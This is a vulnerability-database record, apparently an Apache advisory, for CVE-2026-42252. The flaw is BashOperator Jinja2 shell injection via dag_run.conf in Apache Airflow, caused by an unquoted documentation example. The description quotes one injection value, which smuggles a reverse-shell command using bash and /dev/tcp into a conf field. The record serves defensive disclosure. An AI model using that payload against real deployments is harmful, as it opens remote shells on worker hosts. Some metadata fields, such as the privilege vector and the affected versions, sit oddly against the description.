Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern_CVE-2026-42252

{
    "lastseen": "",
    "description": "Apache Airflow's official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf['conf1'] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i >& /dev/tcp/.../9999 0>&1; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 \u2014 the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.",
    "published": "2026-06-01T07:51:19.018Z",
    "modified": "2026-06-02T16:43:13.898Z",
    "type": "cve",
    "title": "Apache Airflow: BashOperator Jinja2 injection via dag_run.conf \u2014 low-privilege user pattern",
    "source": "apache",
    "references": "https://github.com/apache/airflow/pull/64129\nhttps://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7",
    "id": "CVE-2026-42252",
    "bulletinFamily": "",
    "cwe": [
        "CWE-1336"
    ],
    "cvelist": null,
    "sourceData": "Apache Software Foundation Apache Airflow 3.0.0",
    "sourceHref": "",
    "cvss": {
        "score": 9.1,
        "severity": "CRITICAL",
        "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
        "version": "3.1"
    },
    "cvss2": [],
    "cvss3": {
        "version": "",
        "vectorString": "",
        "baseScore": 0,
        "baseSeverity": "",
        "attackVector": "",
        "attackComplexity": "",
        "privilegesRequired": "",
        "userInteraction": "",
        "scope": "",
        "confidentialityImpact": "",
        "integrityImpact": "",
        "availabilityImpact": "",
        "cvssV3": {
            "version": "",
            "vectorString": "",
            "baseScore": 0,
            "baseSeverity": "",
            "attackVector": "",
            "attackComplexity": "",
            "privilegesRequired": "",
            "userInteraction": "",
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            "confidentialityImpact": "",
            "integrityImpact": "",
            "availabilityImpact": ""
        }
    },
    "href": "",
    "category_name": "CVE",
    "post_link": "",
    "product": "Apache Airflow",
    "version": "3.0.0",
    "vendor": "Apache Software Foundation",
    "ai_description": "BashOperator Jinja2 injection via dag_run.conf allows low-privilege users to inject shell metacharacters",
    "ai_severity": "Critical",
    "ai_vendor": "Apache Software Foundation",
    "ai_product": "Apache Airflow",
    "ai_version": "3.0.0, 3.2.2",
    "ai_score": 9.1
}